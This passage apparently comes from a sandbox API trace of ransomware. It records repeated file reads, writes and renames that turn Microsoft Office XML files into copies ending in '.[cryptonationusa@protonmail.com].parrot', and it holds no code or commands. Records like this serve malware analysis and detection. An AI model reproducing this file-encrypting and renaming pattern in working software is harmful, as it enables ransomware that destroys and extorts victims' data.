office\\office14\\pagesize\\pgmn058.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0201.275] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0201.275] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0201.276] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.276] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1326, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1326, lpOverlapped=0x0) returned 1 [0201.277] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.278] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN065.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn065.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN065.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn065.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0201.283] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0201.283] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0201.286] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.286] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9ff4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9ff4, lpOverlapped=0x0) returned 1 [0201.297] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.300] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN075.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn075.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN075.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn075.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0201.308] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0201.308] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0201.625] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.625] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0201.675] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.675] WriteFile (in: hFile=0x27c, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0201.679] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.679] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0201.682] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1012b0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0201.682] CloseHandle (hObject=0x27c) returned 1 [0201.683] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN081.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn081.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN081.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn081.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0201.736] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0201.736] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0201.737] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.738] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x31a78, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x31a78, lpOverlapped=0x0) returned 1 [0201.765] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.774] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN082.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn082.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN082.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn082.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0201.783] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0201.783] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0201.787] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.787] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d34, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2d34, lpOverlapped=0x0) returned 1 [0201.811] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.812] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN086.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn086.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN086.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn086.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0201.819] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0201.819] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0201.831] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.831] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11a6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x11a6, lpOverlapped=0x0) returned 1 [0201.841] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.842] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN089.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn089.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN089.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn089.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0201.849] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0201.849] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0201.863] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.863] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa246, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa246, lpOverlapped=0x0) returned 1 [0201.872] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.873] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN090.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn090.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN090.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn090.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0201.987] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0201.987] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0201.990] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.990] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfe8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xfe8, lpOverlapped=0x0) returned 1 [0201.991] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.991] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN092.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn092.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN092.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn092.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0201.998] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0201.998] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0201.999] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.999] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7aa, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7aa, lpOverlapped=0x0) returned 1 [0201.999] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.000] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN095.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn095.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN095.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn095.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0202.004] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0202.005] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0202.007] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.007] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x77c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x77c, lpOverlapped=0x0) returned 1 [0202.007] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.007] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN096.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn096.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN096.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn096.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0202.011] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0202.011] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0202.013] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.013] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11424, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x11424, lpOverlapped=0x0) returned 1 [0202.076] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.081] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN097.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn097.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN097.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn097.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0202.098] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0202.098] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0202.099] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.100] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8864, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8864, lpOverlapped=0x0) returned 1 [0202.101] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.103] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN102.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn102.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN102.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn102.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0202.109] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0202.109] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0202.110] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.111] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde0c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xde0c, lpOverlapped=0x0) returned 1 [0202.113] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.115] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN103.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn103.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN103.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn103.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0202.120] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0202.120] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0202.143] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.144] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xff4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xff4, lpOverlapped=0x0) returned 1 [0202.144] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.145] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN105.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn105.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN105.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn105.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0202.151] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0202.151] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0202.155] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.155] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa5c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa5c, lpOverlapped=0x0) returned 1 [0202.156] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.156] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN107.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn107.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN107.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn107.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0202.161] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0202.161] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0202.163] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.163] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x34d8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x34d8, lpOverlapped=0x0) returned 1 [0202.238] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.239] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN108.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn108.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN108.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn108.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0202.246] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0202.246] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0202.247] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.247] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1aa2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1aa2, lpOverlapped=0x0) returned 1 [0202.248] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.249] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN109.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn109.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN109.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn109.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0202.254] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0202.254] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0202.256] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.256] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcae0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | 